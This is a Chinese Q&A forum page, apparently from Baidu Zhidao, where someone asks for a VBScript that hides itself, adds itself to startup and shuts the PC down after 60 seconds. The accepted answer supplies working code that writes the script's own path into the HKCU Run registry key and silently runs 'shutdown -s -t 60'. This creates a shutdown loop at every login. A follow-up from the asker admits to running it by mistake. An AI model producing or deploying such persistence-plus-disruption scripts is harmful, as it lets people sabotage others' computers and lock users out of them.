求vbs代码，作用是:点开后隐藏启动并加入启动项，然后60秒关机
展开全部
dim fso,f,wshshell望采纳
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=Fso.GetFile(WScript.ScriptFullName)
Set WshShell=CreateObject("WScript.Shell")
WshShell.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.path
WshShell.run "shutdown -s -t 60",0,true
追问
解释一下，谢谢了，先说在哪个根目录下，手贱点开了
本回答由提问者推荐
已赞过
已踩过<
评论
收起
你对这个回答的评价是？
推荐律师服务：
若未解决您的问题，请您详细描述您的问题，通过百度律临进行免费专业咨询
